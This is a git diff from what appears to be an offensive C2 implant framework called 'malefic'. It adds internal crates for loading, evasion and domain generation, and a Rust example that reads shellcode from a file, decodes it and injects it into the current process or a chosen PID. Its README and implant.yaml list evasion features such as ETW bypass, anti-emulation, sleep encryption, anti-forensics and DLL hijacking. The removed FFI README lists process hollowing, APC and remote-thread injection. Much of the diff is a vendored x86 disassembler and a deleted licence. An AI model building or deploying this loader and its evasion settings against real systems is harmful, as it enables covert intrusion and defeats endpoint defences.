strum = "0.26.3" strum_macros = "0.26.4" +proc-macro2 = "1.0" # Time and scheduling chrono = {version="0.4", default-features = false, features =["clock"]} # Crypto and hashing (2+ uses) +aes = "0.8.4" +ctr = "0.9.2" +hmac = "0.12" sha2 = {version="0.10.9",default-features = false} +subtle = "2.6" +age = { path = "lib/rage/age" } -byteorder = "1.4" regex = "1.11.2" tar = "0.4" @@ -57,11 +98,46 @@ tar = "0.4" url = "2.5.4" libc = "0.2" +nix = "0.26" +byteorder = "1.4" windows = "0.58.0" +windows-core = "0.58.0" -prost-build = "0.14.1" embed-resource = "3.0.5" +bindgen = "0.72.1" +syn = { version = "2", features = ["full"] } +quote = "1.0" + +# Internal crates +malefic-stub = { path = "malefic-crates/stub", default-features = false } +malefic-crypto = { path = "malefic-crates/crypto", default-features = false } +malefic-proto = { path = "malefic-crates/proto" } +malefic-module = { path = "malefic-crates/module" } +malefic-common = { path = "malefic-crates/common", default-features = false, features = ["random_nanorand"] } +malefic-config = { path = "malefic-crates/config" } +malefic-features = { path = "malefic-crates/features" } +malefic-cron = { path = "malefic-crates/cron" } +malefic-macro = { path = "malefic-crates/macro" } +malefic-process = { path = "malefic-crates/process" } +malefic-net = { path = "malefic-crates/net" } +malefic-sysinfo = { path = "malefic-crates/sysinfo" } +malefic-loader = { path = "malefic-crates/loader", default-features = false } +malefic-codec = { path = "malefic-crates/codec" } +malefic-rem = { path = "malefic-crates/rem" } +malefic-dga = { path = "malefic-crates/dga" } +malefic-transport = { path = "malefic-crates/transport", default-features = false } +malefic-scheduler = { path = "malefic-crates/scheduler", default-features = false } +malefic-manager = { path = "malefic-crates/manager", default-features = false } +malefic-autorun = { path = "malefic-crates/autorun" } +malefic-guardrail = { path = "malefic-crates/guardrail" } +malefic-gateway = { path = "malefic-crates/gateway" } +malefic-os-win = { path = "malefic-crates/win", default-features = false } +malefic-evader = { path = "malefic-crates/evader", default-features = false } +malefic-runtime = { path = "malefic-crates/runtime", default-features = false } +malefic-modules = { path = "malefic-modules" } +malefic-3rd = { path = "malefic-3rd" } +malefic-srdi = { path = "malefic-crates/srdi" } [profile.dev] opt-level = 1 @@ -71,13 +147,24 @@ opt-level = 3 [profile.release] panic = "abort" -opt-level = "z" -debug-assertions = false +opt-level = "s" strip = true -lto = "fat" -codegen-units = 16 +lto = false # prebuild mode requires lto=false (prebuild .a already LTO'd internally) +codegen-units = 1 incremental = false rustflags = [ "-Z", "trim-diagnostic-paths", "--cfg", "hide_path", ] + +[patch.crates-io] +async-net = { path = "lib/malio/async-net" } +async-process = { path = "lib/malio/async-process" } +async-channel = { path = "lib/malio/async-channel" } +async-executor = { path = "lib/malio/async-executor" } +async-fs = { path = "lib/malio/async-fs" } +async-io = { path = "lib/malio/async-io" } +async-task = { path = "lib/malio/async-task" } +blocking = { path = "lib/malio/blocking" } +parking = { path = "lib/malio/parking" } +# polling = { path = "lib/malio/polling" } diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 261eeb9..0000000 --- a/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/README.md b/README.md index ec8f3e0..8b13789 100644 --- a/README.md +++ b/README.md @@ -1,20 +1 @@ -# implant -blog posts: - -Changelog: - -- [v0.0.1 next generation C2 project](https://chainreactors.github.io//wiki/blog/2024/08/16/%E4%B8%80%E4%B8%8B%E4%BB%A3c2%E8%AE%A1%E5%88%92-----internal-of-malice/) -- [v0.0.2 the Real Beginning](https://chainreactors.github.io//wiki/blog/2024/09/23/IoM_v0.0.2/) -- [v0.0.3 RedTeam Infra&C2 framework](https://chainreactors.github.io//wiki/blog/2024/11/20/IoM_v0.0.3/) -- [v0.0.4 Bootstrapping](https://chainreactors.github.io//wiki/blog/2025/01/02/IoM_v0.0.4/) -- [v0.1.0 代替CobaltStrike的最åŽå››å—碎片](https://chainreactors.github.io/wiki/blog/2025/04/14/IoM_v0.1.0/) -- [v0.1.1 IoM v0.1.1 Out of the Box 开箱å³ç”¨](https://wiki.chainreactors.red/blog/2025/07/09/IoM_v0.1.1/) - -Advanced Posts: - -- [PELoader&RDIçš„TLS之殇](https://chainreactors.github.io/wiki/blog/2025/01/07/IoM_advanced_TLS/) - -# Usage - -See: https://chainreactors.github.io/wiki/IoM/manual/implant/ diff --git a/examples/ffi/README.md b/examples/ffi/README.md index cf588aa..751e164 100644 --- a/examples/ffi/README.md +++ b/examples/ffi/README.md @@ -1,107 +1,28 @@ -# Malefic-Win-Kit FFI Interface +# Malefic-Win-Kit FFI Examples -## Project Overview +Multi-language examples for calling malefic-win-kit APIs. -This is a multi-language infrastructure for Windows offensive operations. +## Quick Start -Complex low-level Windows capabilities (process injection, in-memory execution, reflective loading, etc.) are encapsulated into ready-to-use APIs and exported as a DLL through standard C ABI. This allows developers using any programming language (C/C++, Go, Rust, Python, C#, Java, Node.js, etc.) to directly leverage these capabilities without reimplementing low-level details. +### 1. Get the DLL -**Write once, use everywhere. Focus on business logic while the infrastructure handles low-level operations.** +Community edition uses prebuild libraries. Download `community_resource.zip` from the +[latest release](https://github.com/chainreactors/malefic-v0.3.0/releases/latest) +and extract `malefic_win_kit.dll`. ---- +### 2. Run Examples -## API Reference +| Language | Directory | Example File | +|----------|-----------|--------------| +| **C** | `c/` | `runpe_test.c` | +| **Go** | `go/` | `runpe_example.go` | +| **Rust** | `rust/` | `runpe_example.rs` | +| **Python** | `python/` | `runpe_test.py` | +| **C#** | `csharp/` | `RunPETest.cs` | -Based on `malefic-win-kit.h`, covering common offensive operations: +## What's Included -### PE Loading & Execution - -| API | Description | -|-----|-------------| -| **RunPE** | Process hollowing injection, supports argument passing, PID specification, DLL blocking, output capture | -| **InlinePE** | Execute PE inline in current process, supports EXE/DLL, Magic/Signature modification, timeout control | -| **PELoader** | Low-level PE loader, manually map PE to memory, supports signature modification | -| **UnloadPE** | Unload loaded PE modules | -| **RunSacrifice** | Create sacrificial process with command-line hijacking, supports PPID spoofing, DLL blocking | -| **HijackCommandLine** | Hijack current process command-line arguments | - -### Reflective Loading - -| API | Description | -|-----|-------------| -| **ReflectiveLoader** | Reflective DLL loader, supports custom export functions, sacrificial process, PPID spoofing | -| **MaleficLoadLibrary** | Custom LoadLibrary implementation, supports loading DLL from memory | - -### Code Injection - -| API | Description | -|-----|-------------| -| **ApcLoaderInline** | Inline APC injection (Early Bird), execute shellcode in current process | -| **ApcLoaderSacriface** | Sacrificial process APC injection, execute shellcode via APC after creating new process | -| **InjectRemoteThread** | Classic remote thread injection, inject shellcode into target process | - -### Advanced Execution - -| API | Description | -|-----|-------------| -| **MaleficBofLoader** | Beacon Object File (BOF) loader, execute Cobalt Strike BOFs | -| **MaleficExecAssembleInMemory** | .NET Assembly in-memory execution, load managed assemblies without touching disk | -| **MaleficPwshExecCommand** | PowerShell in-memory execution, execute PowerShell commands via CLR hosting | - -### Utility Functions - -| API | Description | -|-----|-------------| -| **MaleficGetFuncAddrWithModuleBaseDefault** | Get function address from module base (manual GetProcAddress) | -| **SafeFreePipeData** | Safely free Rust-allocated memory (must use this to free returned RawString) | - ---- - -## Language Support - -Any language with FFI capability is supported. - -Example implementations are provided for several common languages: - -| Language | Directory | Use Case | -|----------|-----------|----------| -| **C** | `c/` | Minimal overhead, ideal for C/C++ project integration | -| **Go** | `go/` | High performance, single-file deployment, suitable for cross-platform tools | -| **Rust** | `rust/` | Memory safety, ideal for stability-critical projects | -| **Python** | `python/` | Rapid development, convenient for scripting tools | -| **C#** | `csharp/` | Windows native, commonly used in enterprise environments | - -These examples represent a subset of supported languages. **Any language with FFI support can interface with these APIs**: - -- **C++** - Same calling convention as C -- **Java** - Via JNA or JNI -- **Node.js** - Using node-ffi-napi -- **Ruby** - Using Fiddle or FFI gem -- **Lua** - LuaJIT FFI library -- **Others** - Nim, Zig, D, Swift, Delphi, and any language supporting C interoperability - ---- - -## Core Principles - -The calling flow is consistent across all languages: - -1. **Load DLL** - Dynamically load `malefic_win_kit.dll` at runtime -2. **Resolve Functions** - Obtain function addresses by export names -3. **Declare Signatures** - Define function signatures in your language based on `malefic-win-kit.h` -4. **Invoke** - Call the functions following standard C calling convention (cdecl) -5. **Memory Management** - Use `SafeFreePipeData` to release allocated memory - -### RawString Structure - -APIs returning string or binary data use this structure: - -```c -typedef struct { - uint8_t *data; // Data pointer - uintptr_t len; // Data length - uintptr_t capacity; // Capacity (internal use) -} RawString; -``` - -**Important:** `SafeFreePipeData(result.data)` must be called after use to prevent memory leaks. +- **Language Examples** - Working code for 5 languages +- **Header File** - `malefic-win-kit.h` with complete API signatures +- **Memory Management** - Proper RawString handling +- **Error Handling** - Best practices for each language diff --git a/examples/starship/Cargo.toml b/examples/starship/Cargo.toml new file mode 100644 index 0000000..fecd2d6 --- /dev/null +++ b/examples/starship/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "starship_example" +version = "0.1.0" +edition = "2021" + +# Standalone package, not part of parent workspace +[workspace] + +[[bin]] +name = "starship_example" +path = "starship_example.rs" + +[dependencies] +malefic-starship = { path = "../../malefic-starship", default-features = false} diff --git a/examples/starship/README.md b/examples/starship/README.md new file mode 100644 index 0000000..67093ec --- /dev/null +++ b/examples/starship/README.md @@ -0,0 +1,67 @@ +# Malefic Starship Launch Example + +演示如何通过 `malefic-starship` çš„ `launch` 模å—加载和执行 shellcode。 + +## 编译 + +选择一个 loader feature 进行编译: + +```bash +cargo build --features "func_ptr" +cargo build --features "basic_template" +``` + +å¯ç»„åˆç¼–ç å’Œè§„é¿ feature: + +```bash +cargo build --features "func_ptr,enc_xor,evader_etw_pass" +``` + +## è¿è¡Œ + +```bash +starship_example.exe [target_pid] +``` + +## Launch API + +| 函数 | 说明 | +|------|------| +| `launch::load_shellcode(path)` | 从文件加载 shellcode | +| `launch::decode_payload(data, key, extra)` | 使用编译时选定的编ç å™¨è§£ç  | +| `launch::has_encoding()` | 检查是å¦å¯ç”¨äº†ç¼–ç  feature | +| `launch::execute_loader(shellcode, pid)` | 使用编译时选定的 loader 执行 | +| `launch::run(data, key, extra, pid)` | ä¸€ç«™å¼ pipeline: è§£ç  â†’ è§„é¿ â†’ 执行 | + +## å¯ç”¨ Loader Features + +Community 版æä¾› 2 ç§åŸºç¡€æ³¨å…¥æ¨¡æ¿ï¼š + +| Feature | 说明 | +|---------|------| +| `basic_template` | 空模æ¿ï¼Œç”¨äºŽè‡ªå®šä¹‰æ‰©å±• | +| `func_ptr` | ç»å…¸å‡½æ•°æŒ‡é’ˆè‡ªæ³¨å…¥ | + +## ç¼–ç  Features + +| Feature | 算法 | +|---------|------| +| `enc_xor` | XOR | +| `enc_uuid` | UUID encoding | +| `enc_mac` | MAC address encoding | +| `enc_ipv4` | IPv4 encoding | +| `enc_base64` | Base64 | +| `enc_aes` | AES | + +## è§„é¿ Features + +| Feature | 说明 | +|---------|------| +| `evader_anti_emu` | 忍¡æ‹Ÿå™¨æ£€æµ‹ | +| `evader_etw_pass` | ETW bypass | +| `evader_god_speed` | God speed | +| `evader_sleep_encrypt` | Sleep 加密 | +| `evader_anti_forensic` | åå–è¯ | +| `evader_cfg_patch` | CFG patch | +| `evader_api_untangle` | API untangle | +| `evader_normal_api` | Normal API | diff --git a/examples/starship/starship_example.rs b/examples/starship/starship_example.rs new file mode 100644 index 0000000..d4cbf32 --- /dev/null +++ b/examples/starship/starship_example.rs @@ -0,0 +1,73 @@ +// Malefic Malefic Starship Launch 使用示例 +// +// 编译(选择一个 loader feature): +// cargo build --features "func_ptr" +// +// è¿è¡Œï¼š +// starship_example.exe [target_pid] +// +// 也å¯ä½¿ç”¨ç¼–ç  + evasion feature: +// cargo build --features "func_ptr,enc_xor,evader_etw_pass" + +use malefic_starship::Shellcode; +use malefic_starship::launch; + +use std::env; +use std::process; + +fn main() { + println!("=== Malefic Starship Launch Example ===\n"); + + let args: Vec = env::args().collect(); + + // ── Stage 1: Load shellcode ────────────────────────────────────────────── + let sc_path = if args.len() > 1 { + &args[1] + } else { + eprintln!("Usage: {} [target_pid]", args[0]); + process::exit(1); + }; + + println!("[*] Loading shellcode from: {}", sc_path); + let raw = launch::load_shellcode(sc_path).unwrap_or_else(|e| { + eprintln!("[-] {}", e); + process::exit(1); + }); + println!("[+] Loaded {} bytes\n", raw.len()); + + // ── Stage 2: Decode (if encoding feature enabled) ──────────────────────── + let shellcode = if launch::has_encoding() { + println!("[*] Encoding feature detected, decoding payload..."); + // Replace with your actual key/extra if using encoded payloads + let key: &[u8] = &[]; + let extra: &[u8] = &[]; + let decoded = launch::decode_payload(raw.as_slice(), key, extra); + println!("[+] Decoded {} bytes\n", decoded.len()); + Shellcode::new(decoded) + } else { + println!("[*] No encoding — using raw shellcode\n"); + raw + }; + + // ── Stage 3: Parse optional target PID ─────────────────────────────────── + let target_pid: Option = args.get(2).and_then(|s| s.parse().ok()); + if let Some(pid) = target_pid { + println!("[*] Target PID: {}", pid); + } else { + println!("[*] Self-injection mode (no target PID)"); + } + + // ── Stage 4: Execute ───────────────────────────────────────────────────── + println!("[*] Executing loader...\n"); + let result = unsafe { launch::execute_loader(&shellcode, target_pid) }; + + match result { + Ok(()) => println!("\n[+] Loader executed successfully"), + Err(e) => { + eprintln!("\n[-] Loader error: {}", e); + process::exit(1); + } + } + + println!("[+] Done!"); +} diff --git a/implant.yaml b/implant.yaml index c67156a..7db5fb6 100644 --- a/implant.yaml +++ b/implant.yaml @@ -5,8 +5,9 @@ basic: url: "" cron: "*/5 * * * * * *" # cron express jitter: 0.2 - server_retry: 10 - global_retry: 1000000 + keepalive: false + retry: 10 # æ¯ä¸ªç›®æ ‡å…许的连续失败次数 + max_cycles: -1 # 最大循环次数,-1 表示无é™å¾ªçޝ encryption: aes key: maliceofinternal @@ -21,7 +22,7 @@ basic: key: "malefic_dga_2024" # key interval_hours: 8 # generate once every 8 hours - # Guardrail + # Guardrailé…ç½® - 环境检测防护 guardrail: enable: false require_all: true @@ -32,14 +33,12 @@ basic: targets: # tcp - - address: "127.0.0.1:5001" - tcp: {} + - address: "127.0.0.1:5001" build: - zigbuild: false obfstr: true - remap: false # Force refresh remap-path-prefix configuration even if it already exists - toolchain: "nightly-2023-09-18" + zigbuild: false + toolchain: "nightly-2024-02-03" ollvm: enable: false bcfobf: false # Bogus Control Flow Obfuscation @@ -48,7 +47,6 @@ build: fco: false # Function CallSite Obfuscation constenc: false # Constant Encryption Obfuscation metadata: - remap_path: "C:/Windows/Users/" icon: "" compile_time: "24 Jun 2015 18:03:01" file_version: "" @@ -139,10 +137,20 @@ implants: thread_stack_spoofer: true loader: + evader: + anti_emu: true + etw_pass: true + god_speed: true + sleep_encrypt: false + anti_forensic: false + cfg_patch: true + api_untangle: false + normal_api: false proxydll: proxyfunc: "" - raw_dll: "" + raw_dll: "" # proxied_dll: "" proxy_dll: "" - block: true - pack_resources: false + pack_resources: true + block: false + hijack_dllmain: true diff --git a/lib/libudis86-sys/Cargo.toml b/lib/libudis86-sys/Cargo.toml new file mode 100644 index 0000000..54a08b0 --- /dev/null +++ b/lib/libudis86-sys/Cargo.toml @@ -0,0 +1,18 @@ +[package] +authors = ["Elliott Linder "] +build = "build.rs" +description = "Low-level bindings to libudis86, the x86 disassembler" +documentation = "https://docs.rs/libudis86-sys" +homepage = "https://github.com/darfink/libudis86-sys" +include = ["build.rs", "libudis86/*", "src/**/*", "Cargo.toml"] +keywords = ["x86", "x64", "disassembler", "udis86", "libudis86"] +license = "MIT" +name = "libudis86-sys" +repository = "https://github.com/darfink/libudis86-sys" +version = "0.2.1" + +[build-dependencies] +cc = "1.0.0" + +[dependencies] +libc = "0.2.58" diff --git a/lib/libudis86-sys/README.md b/lib/libudis86-sys/README.md new file mode 100644 index 0000000..b018f3f --- /dev/null +++ b/lib/libudis86-sys/README.md @@ -0,0 +1,4 @@ +# libudis86-sys + +This crate provides an interface for the [udis86](https://github.com/vmt/udis86) +library. An example can be found in [`src/lib.rs`](src/lib.rs). \ No newline at end of file diff --git a/lib/libudis86-sys/build.rs b/lib/libudis86-sys/build.rs new file mode 100644 index 0000000..5eedcf2 --- /dev/null +++ b/lib/libudis86-sys/build.rs @@ -0,0 +1,14 @@ +fn main() { +cc::Build::new() + .files(&[ + "libudis86/decode.c", + "libudis86/itab.c", + "libudis86/syn-att.c", + "libudis86/syn-intel.c", + "libudis86/syn.c", + "libudis86/udis86.c" + ]) + .flag("-includestring.h") + .static_crt(true) + .compile("udis86"); +} diff --git a/lib/libudis86-sys/libudis86/decode.c b/lib/libudis86-sys/libudis86/decode.c new file mode 100644 index 0000000..036b9ed --- /dev/null +++ b/lib/libudis86-sys/libudis86/decode.c @@ -0,0 +1,1266 @@ +/* udis86 - libudis86/decode.c + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "udint.h" +#include "types.h" +#include "extern.h" +#include "decode.h" + +#ifndef __UD_STANDALONE__ +# include +#endif /* __UD_STANDALONE__ */ + +/* The max number of prefixes to an instruction */ +#define MAX_PREFIXES 15 + +/* rex prefix bits */ +#define REX_W(r) ( ( 0xF & ( r ) ) >> 3 ) +#define REX_R(r) ( ( 0x7 & ( r ) ) >> 2 ) +#define REX_X(r) ( ( 0x3 & ( r ) ) >> 1 ) +#define REX_B(r) ( ( 0x1 & ( r ) ) >> 0 ) +#define REX_PFX_MASK(n) ( ( P_REXW(n) << 3 ) | \ + ( P_REXR(n) << 2 ) | \ + ( P_REXX(n) << 1 ) | \ + ( P_REXB(n) << 0 ) ) + +/* scable-index-base bits */ +#define SIB_S(b) ( ( b ) >> 6 ) +#define SIB_I(b) ( ( ( b ) >> 3 ) & 7 ) +#define SIB_B(b) ( ( b ) & 7 ) + +/* modrm bits */ +#define MODRM_REG(b) ( ( ( b ) >> 3 ) & 7 ) +#define MODRM_NNN(b) ( ( ( b ) >> 3 ) & 7 ) +#define MODRM_MOD(b) ( ( ( b ) >> 6 ) & 3 ) +#define MODRM_RM(b) ( ( b ) & 7 ) + +static int decode_ext(struct ud *u, uint16_t ptr); +static int decode_opcode(struct ud *u); + +enum reg_class { /* register classes */ + REGCLASS_GPR, + REGCLASS_MMX, + REGCLASS_CR, + REGCLASS_DB, + REGCLASS_SEG, + REGCLASS_XMM +}; + + /* + * inp_start + * Should be called before each de-code operation. + */ +static void +inp_start(struct ud *u) +{ + u->inp_ctr = 0; +} + +static uint8_t +inp_peek(struct ud *u) +{ + if (u->inp_end == 0) { + if (u->inp_buf != NULL) { + if (u->inp_buf_index < u->inp_buf_size) { + return u->inp_buf[u->inp_buf_index]; + } + } else if (u->inp_peek != UD_EOI) { + return u->inp_peek; + } else { + int c; + if ((c = u->inp_hook(u)) != UD_EOI) { + u->inp_peek = c; + return u->inp_peek; + } + } + } + u->inp_end = 1; + UDERR(u, "byte expected, eoi received\n"); + return 0; +} + +static uint8_t +inp_next(struct ud *u) +{ + if (u->inp_end == 0) { + if (u->inp_buf != NULL) { + if (u->inp_buf_index < u->inp_buf_size) { + u->inp_ctr++; + return (u->inp_curr = u->inp_buf[u->inp_buf_index++]); + } + } else { + int c = u->inp_peek; + if (c != UD_EOI || (c = u->inp_hook(u)) != UD_EOI) { + u->inp_peek = UD_EOI; + u->inp_curr = c; + u->inp_sess[u->inp_ctr++] = u->inp_curr; + return u->inp_curr; + } + } + } + u->inp_end = 1; + UDERR(u, "byte expected, eoi received\n"); + return 0; +} + +static uint8_t +inp_curr(struct ud *u) +{ + return u->inp_curr; +} + + +/* + * inp_uint8 + * int_uint16 + * int_uint32 + * int_uint64 + * Load little-endian values from input + */ +static uint8_t +inp_uint8(struct ud* u) +{ + return inp_next(u); +} + +static uint16_t +inp_uint16(struct ud* u) +{ + uint16_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + return ret | (r << 8); +} + +static uint32_t +inp_uint32(struct ud* u) +{ + uint32_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + ret = ret | (r << 8); + r = inp_next(u); + ret = ret | (r << 16); + r = inp_next(u); + return ret | (r << 24); +} + +static uint64_t +inp_uint64(struct ud* u) +{ + uint64_t r, ret; + + ret = inp_next(u); + r = inp_next(u); + ret = ret | (r << 8); + r = inp_next(u); + ret = ret | (r << 16); + r = inp_next(u); + ret = ret | (r << 24); + r = inp_next(u); + ret = ret | (r << 32); + r = inp_next(u); + ret = ret | (r << 40); + r = inp_next(u); + ret = ret | (r << 48); + r = inp_next(u); + return ret | (r << 56); +} + + +static UD_INLINE int +eff_opr_mode(int dis_mode, int rex_w, int pfx_opr) +{ + if (dis_mode == 64) { + return rex_w ? 64 : (pfx_opr ? 16 : 32); + } else if (dis_mode == 32) { + return pfx_opr ? 16 : 32; + } else { + UD_ASSERT(dis_mode == 16); + return pfx_opr ? 32 : 16; + } +} + + +static UD_INLINE int +eff_adr_mode(int dis_mode, int pfx_adr) +{ + if (dis_mode == 64) { + return pfx_adr ? 32 : 64; + } else if (dis_mode == 32) { + return pfx_adr ? 16 : 32; + } else { + UD_ASSERT(dis_mode == 16); + return pfx_adr ? 32 : 16; + } +} + + +/* + * decode_prefixes + * + * Extracts instruction prefixes. + */ +static int +decode_prefixes(struct ud *u) +{ + int done = 0; + uint8_t curr = 0, last = 0; + UD_RETURN_ON_ERROR(u); + + do { + last = curr; + curr = inp_next(u); + UD_RETURN_ON_ERROR(u); + if (u->inp_ctr == MAX_INSN_LENGTH) { + UD_RETURN_WITH_ERROR(u, "max instruction length"); + } + + switch (curr) + { + case 0x2E: + u->pfx_seg = UD_R_CS; + break; + case 0x36: + u->pfx_seg = UD_R_SS; + break; + case 0x3E: + u->pfx_seg = UD_R_DS; + break; + case 0x26: + u->pfx_seg = UD_R_ES; + break; + case 0x64: + u->pfx_seg = UD_R_FS; + break; + case 0x65: 